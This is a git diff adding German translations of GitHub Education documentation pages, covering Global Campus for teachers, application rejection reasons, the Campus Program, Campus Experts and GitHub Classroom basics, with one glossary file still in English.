diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md
new file mode 100644
index 0000000000..bce7b990d5
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md
@@ -0,0 +1,23 @@
+---
+title: GitHub Global Campus für Lehrkräfte
+intro: 'Als Lehrkraft kannst du {% data variables.product.prodname_dotcom %} für die Zusammenarbeit im Klassenraum, in der Studenten- oder Forschungsgruppe usw. verwenden.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research
+  - /github/teaching-and-learning-with-github-education/using-github-in-your-classroom-and-research
+  - /articles/using-github-in-your-classroom-and-research
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research
+versions:
+  fpt: '*'
+children:
+  - /about-github-global-campus-for-teachers
+  - /apply-to-github-global-campus-as-a-teacher
+  - why-wasnt-my-application-to-global-campus-for-teachers-approved
+shortTitle: About Global Campus for teachers
+ms.openlocfilehash: b29cc4c76f0eb407dafb4080061f7f8a4c9cf62b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108347'
+---
+
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md
new file mode 100644
index 0000000000..eae366bce8
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md
@@ -0,0 +1,54 @@
+---
+title: Warum wurde mein Antrag bei Global Campus für Lehrkräfte nicht genehmigt?
+intro: 'Lies die generellen Gründe, weshalb Anträge für {% data variables.product.prodname_global_campus %} nicht genehmigt werden, und Tipps, um erneute Anträge erfolgreich zu gestalten.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
+  - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
+  - /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied
+  - /articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved
+  - /articles/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
+versions:
+  fpt: '*'
+shortTitle: Application not approved
+ms.openlocfilehash: 68fe0a970c94a73293505849425bc78ec78b265e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108346'
+---
+{% tip %}
+
+**Tipp**: {% data reusables.education.about-github-education-link %}
+
+{% endtip %}
+
+## Unklare Zugehörigkeitsnachweisdokumente
+
+Falls das von dir hochgeladene Bild deine aktuelle Beschäftigung an einer Schule oder Universität nicht zweifelsfrei belegt, musst du einen neuen Antrag stellen und ein anderes Bild deiner Fakultäts-ID oder einen Beschäftigungsnachweis mit eindeutigen Informationen hochladen.
+
+{% data reusables.education.pdf-support %}
+
+## Akademische E-Mail-Adresse mit einer nicht verifizierten Domäne verwenden
+
+Wenn deine akademische E-Mail-Adresse eine nicht verifizierte Domäne aufweist, fordern wir allenfalls einen weiteren Nachweis deines akademischen Status an. {% data reusables.education.upload-different-image %}
+
+{% data reusables.education.pdf-support %}
+
+## Akademische E-Mail-Adresse von einer Bildungseinrichtung mit lockeren E-Mail-Richtlinien verwenden
+
+Falls Alumni und pensionierte Lehrkörper deiner Bildungseinrichtung lebenslang auf die von deiner Bildungseinrichtung ausgestellten E-Mail-Adressen zugreifen können, fordern wir allenfalls einen weiteren Nachweis deines akademischen Status an. {% data reusables.education.upload-different-image %}
+
+{% data reusables.education.pdf-support %}
+
+Bei anderen Fragen oder Bedenken zur Domäne der Bildungseinrichtung solltest du das IT-Personal deiner Bildungseinrichtung bitten, uns zu kontaktieren.
+
+## Nichtstudent beantragt das Studentenentwicklungspaket
+
+Lehrkräfte sind nicht für die Partnerangebote berechtigt, die mit dem [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack) geliefert werden. Stelle bei einer erneuten Bewerbung sicher, dass du **Fakultät** auswählst, um deinen akademischen Status zu beschreiben.
+
+## Weiterführende Themen
+
+- [Antrag bei {% data variables.product.prodname_global_campus %} als Lehrkraft](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md
new file mode 100644
index 0000000000..308a0d2f77
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md
@@ -0,0 +1,22 @@
+---
+title: Entdecken der Vorteile der Lehrens und Lernens mit GitHub Education
+shortTitle: Explore
+intro: 'Erfahre, wie {% data variables.product.prodname_education %} deinen Unterricht, deine schulische Arbeit oder deine Recherchen unterstützen kann und wie du kostenlosen Zugriff auf verschiedene Entwicklertools der Partner von {% data variables.product.company_short %} beantragen kannst.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education
+  - /github/teaching-and-learning-with-github-education
+  - /categories/teaching-and-learning-with-github-education
+versions:
+  fpt: '*'
+children:
+  - /github-global-campus-for-students
+  - /github-global-campus-for-teachers
+  - /use-github-at-your-educational-institution
+ms.openlocfilehash: 0305b65dc5286123f9cba978fe36ef9b0a05c907
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147684726'
+---
+
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md
new file mode 100644
index 0000000000..61eb1381f0
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md
@@ -0,0 +1,20 @@
+---
+title: Informationen zu Campus Experts
+intro: 'Eigne dir als Studierende*r mit Campus Experts-Training für {% data variables.product.prodname_dotcom %} die notwendigen Fähigkeiten an, um die Technologie-Community an deiner Bildungseinrichtung und ein realistisches Portfolio aufzubauen.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/about-campus-experts
+  - /github/teaching-and-learning-with-github-education/about-campus-experts
+  - /articles/about-campus-experts
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-experts
+versions:
+  fpt: '*'
+ms.openlocfilehash: 4d938dc14229d68571dbcce02de39bdc82f27371
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573964'
+---
+Erlernen von Fähigkeiten in den Bereichen öffentliches Reden, technisches Schreiben, Community Leadership und Softwareentwicklung als Campus Experts für {% data variables.product.prodname_dotcom %}. 
+
+Weitere Informationen zu Trainingsprogrammen für Studentenführer*innen findest du unter [{% data variables.product.prodname_dotcom %}-Campus Experts](https://education.github.com/students/experts).
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
new file mode 100644
index 0000000000..7bfd3b8cb3
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md
@@ -0,0 +1,53 @@
+---
+title: Informationen zum GitHub Campus-Programm
+intro: '{% data variables.product.prodname_campus_program %} bietet {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} kostenlos für Bildungseinrichtungen, die das Beste aus {% data variables.product.prodname_dotcom %} für ihre Community herausholen möchten.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/about-github-education
+  - /github/teaching-and-learning-with-github-education/about-github-education
+  - /articles/about-github-education
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program
+  - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors
+versions:
+  fpt: '*'
+shortTitle: GitHub Campus Program
+ms.openlocfilehash: d2bf65abaef79aba1ed237278da528caae831256
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573972'
+---
+Das {% data variables.product.prodname_campus_program %} bietet {% data variables.product.prodname_dotcom %}-Premiumzugriff für Lehreinrichtungen und ermöglicht es Benutzer*innen, Abschlüsse, Diplome oder Zertifikate zu erhalten. Das {% data variables.product.prodname_campus_program %} umfasst Folgendes:
+
+- kostenfreien Zugriff auf {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} für alle technischen und akademischen Abteilungen
+- 50.000 {% data variables.product.prodname_actions %}-Minuten und 50 GB {% data variables.product.prodname_registry %}-Speicher
+- Git- und {% data variables.product.prodname_dotcom %}-Training für Lehrkräfte
+- exklusiven Zugriff auf neue Features, GitHub Education-spezifische Geschenkartikel und kostenlose Entwicklertools von {% data variables.product.prodname_dotcom %}-Partnern
+- automatisierter Zugriff auf die Premiumfunktionen von {% data variables.product.prodname_education %}, wie z. B. das {% data variables.product.prodname_student_pack %},
+
+Informationen dazu, wie GitHub von Lehrkräften verwendet wird, findest du unter [GitHub Education-Storys](https://education.github.com/stories).
+
+## {% data variables.product.prodname_campus_program %} – Bestimmungen
+
+- Die Lizenz wird für ein Jahr kostenlos bereitgestellt und alle zwei Jahre automatisch kostenlos verlängert. Solange die Bestimmungen der Vereinbarung eingehalten werden, kann die Lizenz weiterhin kostenlos verwendet werden. Teilnehmen kann jede Bildungseinrichtung, die den [Bestimmungen des Programms](https://education.github.com/schools/terms) zustimmen kann.
+
+- Dabei ist zu beachten, dass die Lizenzen zur Verwendung durch die gesamte Bildungseinrichtung bereitgestellt werden. Interne IT-Abteilungen, akademische Forschungsgruppen, Mitarbeiter*innen, Student*innen und andere nicht akademische Abteilungen sind berechtigt, die Lizenzen zu verwenden, solange sie keinen Gewinn aus ihrer Nutzung ziehen. Extern finanzierte Forschungsgruppen, die in der Universität untergebracht sind, dürfen die kostenlosen Lizenzen nicht nutzen.
+
+- {% data variables.product.prodname_dotcom %} muss allen technischen und akademischen Abteilungen in deiner Einrichtung angeboten werden, und das Logo deiner Bildungseinrichtung wird auf der GitHub Education-Website als {% data variables.product.prodname_campus_program %}-Partner veröffentlicht.
+
+- Neue Organisationen in deinem Unternehmen werden automatisch zu deinem Unternehmenskonto hinzugefügt. Wenn Organisationen hinzugefügt werden sollen, die bereits vorhanden waren, bevor deine Bildungseinrichtung sich für die Teilnahme am {% data variables.product.prodname_campus_program %} entschieden hat, wende dich an den [GitHub Education-Support](https://support.github.com/contact/education). Weitere Informationen zur Verwaltung deines Unternehmens findest du in der [Dokumentation für Unternehmensadministrator*innen](/admin). Neue Organisationen in deinem Unternehmen werden automatisch zu deinem Unternehmenskonto hinzugefügt. Wenn Organisationen hinzugefügt werden sollen, die bereits vorhanden waren, bevor deine Bildungseinrichtung sich für die Teilnahme am {% data variables.product.prodname_campus_program %} entschieden hat, wende dich an den GitHub Education-Support. 
+
+
+Weitere Informationen zu den {% data variables.product.prodname_dotcom %}-Datenschutzpraktiken findest du unter [Globale Datenschutzpraktiken](/github/site-policy/global-privacy-practices).
+
+## Teilnahmeberechtigung für das {% data variables.product.prodname_campus_program %}
+
+- Häufig werden die Bestimmungen des Programms von CTOs/CIOs, Dekan*innen, Fachbereichsleiter*innen oder Technologieverantwortlichen im Namen einer Bildungseinrichtung akzeptiert und unterzeichnet.
+
+- Wenn an deiner Bildungseinrichtung keine E-Mail-Adressen vergeben werden, werden deine Kontoadministrator*innen von {% data variables.product.prodname_dotcom %} bezüglich alternativer Optionen für die Verteilung des Student Developer Pack an deine Student*innen kontaktiert.
+
+Weitere Informationen findest du auf der [offiziellen {% data variables.product.prodname_campus_program %}](https://education.github.com/schools)-Seite.
+
+Wenn du Schüler*in, Student*in oder Lehrkraft bist und deine Einrichtung nicht mit {% data variables.product.prodname_dotcom %} als Partnereinrichtung im Rahmen des {% data variables.product.prodname_campus_program %} zusammenarbeitet, kannst du dennoch als Einzelperson Rabatte für die Nutzung von {% data variables.product.prodname_dotcom %} beantragen. Informationen dazu, wie du das Student Developer Pack beantragst, [findest du im Antragsformular](https://education.github.com/pack/join).
+
diff --git a/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md
new file mode 100644
index 0000000000..adcbe644a9
--- /dev/null
+++ b/translations/de-DE/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md
@@ -0,0 +1,21 @@
+---
+title: Verwenden von GitHub an deiner Bildungseinrichtung
+intro: 'Maximiere die Vorteile der Nutzung von {% data variables.product.prodname_dotcom %} in deiner Einrichtung für deine Studenten, Instrukteure und IT-Mitarbeiter mit {% data variables.product.prodname_education %} und unseren verschiedenen Schulungsprogrammen für Studenten und Instrukteure.'
+redirect_from:
+  - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution
+  - /github/teaching-and-learning-with-github-education/using-github-at-your-educational-institution
+  - /articles/using-github-at-your-educational-institution
+versions:
+  fpt: '*'
+children:
+  - /about-github-campus-program
+  - /about-campus-experts
+shortTitle: At your institution
+ms.openlocfilehash: 9cddbd70740930e47a46c20c9a5c9e1a8bbc0951
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573948'
+---
+
diff --git a/translations/de-DE/content/education/guides.md b/translations/de-DE/content/education/guides.md
new file mode 100644
index 0000000000..6e5f20b371
--- /dev/null
+++ b/translations/de-DE/content/education/guides.md
@@ -0,0 +1,55 @@
+---
+title: Leitfäden für GitHub Education
+intro: 'Diese Leitfäden für {% data variables.product.prodname_education %} helfen dir beim Lehren und Erlernen von sowohl {% data variables.product.product_name %} als auch der Softwareentwicklung.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+shortTitle: Guides
+ms.openlocfilehash: 05d8e1988ab793c2a00da48186b89158e776da1a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573956'
+---
+## Erste Schritte mit {% data variables.product.product_name %}
+
+Lehrkräfte, Schüler und Studenten können die Tools von {% data variables.product.product_name %} nutzen, um den Lehrplan für die Softwareentwicklung zu bereichern und praktische Fähigkeiten für die Zusammenarbeit zu entwickeln.
+
+- [Registrieren für ein neues {% data variables.product.prodname_dotcom %}-Konto](/github/getting-started-with-github/signing-up-for-a-new-github-account)
+- [Git- und {% data variables.product.prodname_dotcom %}-Schnellstart ](/github/getting-started-with-github/quickstart)
+- [Informationen zu {% data variables.product.prodname_global_campus %} für Studierende](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)
+- [Antrag bei {% data variables.product.prodname_global_campus %} als Lehrkraft](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)
+- [Antrag bei {% data variables.product.prodname_global_campus %} als Studierende*r](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)
+
+## Durchführen eines Softwareentwicklungskurses mit {% data variables.product.company_short %}
+
+Verwalte einen Kursraum, weise den Kursteilnehmern Aufgaben zu und überprüfe sie, und unterrichte die neue Generation von Softwareentwicklern mit {% data variables.product.prodname_classroom %}.
+
+- [Informationen zu {% data variables.product.prodname_global_campus %} für Lehrkräfte](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers)
+- [Grundlagen der Einrichtung von {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)
+- [Verwalten von Kursräumen](/education/manage-coursework-with-github-classroom/manage-classrooms)
+- [Verwenden der Git- und {% data variables.product.company_short %}-Startaufgabe](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)
+- [Erstellen einer Einzelaufgabe](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)
+- [Erstellen einer Gruppenaufgabe](/education/manage-coursework-with-github-classroom/create-a-group-assignment)
+- [Erstellen einer Aufgabe aus einem Vorlagenrepository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)
+- [Einfügen von Feedback mit Pull Requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests)
+- [Verwenden der automatischen Bewertung](/education/manage-coursework-with-github-classroom/use-autograding)
+
+## Erlernen der Softwarentwicklung
+
+Beziehe {% data variables.product.prodname_dotcom %} in deine Ausbildung mit ein, und benutze die gleichen Tools wie die Profis.
+
+- [Git- und {% data variables.product.prodname_dotcom %}-Lernressourcen](/github/getting-started-with-github/git-and-github-learning-resources).
+- [{% data variables.product.prodname_global_campus %} für Studierende](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students)
+- [Testen von {% data variables.product.prodname_desktop %}](/desktop)
+- [Testen der {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli)
+
+## Mitwirken in der Community
+
+Beteilige dich an der Community, erhalte Schulungen über {% data variables.product.company_short %}, und erlerne oder vermittle neue Fähigkeiten.
+
+- [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %})
+- [Informationen zu {% data variables.product.prodname_global_campus %} für Studierende](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students)
+- [Informationen zu Campus Experts](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-experts)
+- [Mithilfe von GitHub Community Exchange mitwirken](/education/contribute-with-github-community-exchange)
diff --git a/translations/de-DE/content/education/index.md b/translations/de-DE/content/education/index.md
new file mode 100644
index 0000000000..704ca4dfc9
--- /dev/null
+++ b/translations/de-DE/content/education/index.md
@@ -0,0 +1,40 @@
+---
+title: GitHub Bildungsdokumentation
+shortTitle: Education
+intro: '{% data variables.product.prodname_education %} hilft dir, die Softwareentwicklung mit den Tools und der Unterstützung der Plattform und Community von {% data variables.product.company_short %} zu lehren oder zu erlernen.'
+introLinks:
+  quickstart: /education/quickstart
+featuredLinks:
+  guides:
+    - education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student
+    - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher
+    - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution
+  guideCards:
+    - /github/getting-started-with-github/signing-up-for-a-new-github-account
+    - /github/getting-started-with-github/git-and-github-learning-resources
+    - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom
+  popular:
+    - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students
+    - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers
+    - /desktop
+    - /github/getting-started-with-github/github-cli
+    - /education/manage-coursework-with-github-classroom/teach-with-github-classroom
+changelog:
+  label: education
+layout: product-landing
+versions:
+  fpt: '*'
+children:
+  - /quickstart
+  - /explore-the-benefits-of-teaching-and-learning-with-github-education
+  - /contribute-with-github-community-exchange
+  - /manage-coursework-with-github-classroom
+  - /guides
+ms.openlocfilehash: 7aa1b7c97f34dd2224abece6c85289316e7e06f9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573940'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md
new file mode 100644
index 0000000000..a4283bd800
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md
@@ -0,0 +1,39 @@
+---
+title: Grundlagen der Einrichtung von GitHub Classroom
+shortTitle: '{% data variables.product.prodname_classroom %} basics'
+intro: 'Lerne, wie du deinen Kursraum einrichtest, Arbeitsaufträge verwaltest und eine zeitsparende Automatisierung konfigurierst.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom
+ms.openlocfilehash: 3303f6ba576904ef8bafca57249b15841da7b329
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145952277'
+---
+## Videos zu {% data variables.product.prodname_classroom %}
+
+Du kannst dir eine Reihe von kurzen Videotutorials zur Konfiguration und Verwendung von {% data variables.product.prodname_classroom %} ansehen. Um alle Videos als Teil einer fortlaufenden Wiedergabeliste anzusehen, schau dir den [Leitfaden zu den ersten Schritten mit {% data variables.product.prodname_classroom %}](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) auf YouTube an.
+
+Weitere Informationen zur Terminologie für {% data variables.product.prodname_classroom %} findest du im [Glossar](/education/manage-coursework-with-github-classroom/glossary).
+
+1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Erste Schritte</a> {% octicon "link-external" aria-label="The external link icon" %}
+2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Hinzufügen einer Kursteilnehmerliste</a> {% octicon "link-external" aria-label="The external link icon" %}
+3. Erstellen von Aufgaben
+    - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Erstellen einer Aufgabe anhand eines {% data variables.product.prodname_dotcom %}-Repositorys</a> {% octicon "link-external" aria-label="The external link icon" %}
+    - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Erstellen einer Aufgabe mithilfe von Microsoft MakeCode als Online-IDE</a> {% octicon "link-external" aria-label="The external link icon" %}
+4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">Bearbeitung von Aufgaben durch die Kursteilnehmer</a> {% octicon "link-external" aria-label="The external link icon" %}
+5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">Zuweisung von Aufgaben durch die Dozenten</a> {% octicon "link-external" aria-label="The external link icon" %}
+6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Erstellen von Gruppenaufgaben</a> {% octicon "link-external" aria-label="The external link icon" %}
+7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Nächste Schritte für den Einstieg</a> {% octicon "link-external" aria-label="The external link icon" %}
+8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %}
+
+## Nächste Schritte
+
+Weitere Informationen zum Unterricht mit {% data variables.product.prodname_classroom %} findest du unter [Unterrichten mit {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom).
+
+## Weiterführende Themen
+
+- [Erkunden der Vorteile des Lehrens und Lernens mit {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md
new file mode 100644
index 0000000000..7dbe7adf3d
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md
@@ -0,0 +1,53 @@
+---
+title: Glossary
+intro: 'You can review explanations of terminology for {% data variables.product.prodname_classroom %}.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/glossary
+---
+## assignment
+
+An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)."
+
+---
+
+## classroom
+
+A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)."
+
+---
+
+## {% data variables.product.prodname_classroom %}
+
+{% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website.
+
+---
+
+## group assignment  
+
+{% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+
+---
+
+## identifier
+
+An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address.
+
+---
+
+## individual assignment
+
+{% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)."
+
+---
+
+## roster
+
+A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)."
+
+---
+
+## Further reading
+
+- "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)"
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md
new file mode 100644
index 0000000000..ca24b5dabc
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md
@@ -0,0 +1,17 @@
+---
+title: Erste Schritte mit GitHub Classroom
+shortTitle: Get started
+intro: 'Erfahre, wie du {% data variables.product.prodname_classroom %} zum Verwalten deines Kurses konfigurierst und verwendest.'
+versions:
+  fpt: '*'
+children:
+  - /basics-of-setting-up-github-classroom
+  - /glossary
+ms.openlocfilehash: 5c77365e1d5847687d1e0ae6b5eb1bc59413cbbc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106384'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/index.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/index.md
new file mode 100644
index 0000000000..7786e20a52
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/index.md
@@ -0,0 +1,19 @@
+---
+title: Verwalten von Kursaufgaben mit GitHub Classroom
+shortTitle: '{% data variables.product.prodname_classroom %}'
+intro: 'In {% data variables.product.prodname_classroom %} kannst du mit {% data variables.product.product_name %} einen Kurs zur Softwareentwicklung verwalten oder daran teilnehmen.'
+versions:
+  fpt: '*'
+children:
+  - /get-started-with-github-classroom
+  - /teach-with-github-classroom
+  - /integrate-github-classroom-with-an-ide
+  - /learn-with-github-classroom
+ms.openlocfilehash: 013427d323f2908743bc6ed2878f08ae9f2d7f02
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102708'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md
new file mode 100644
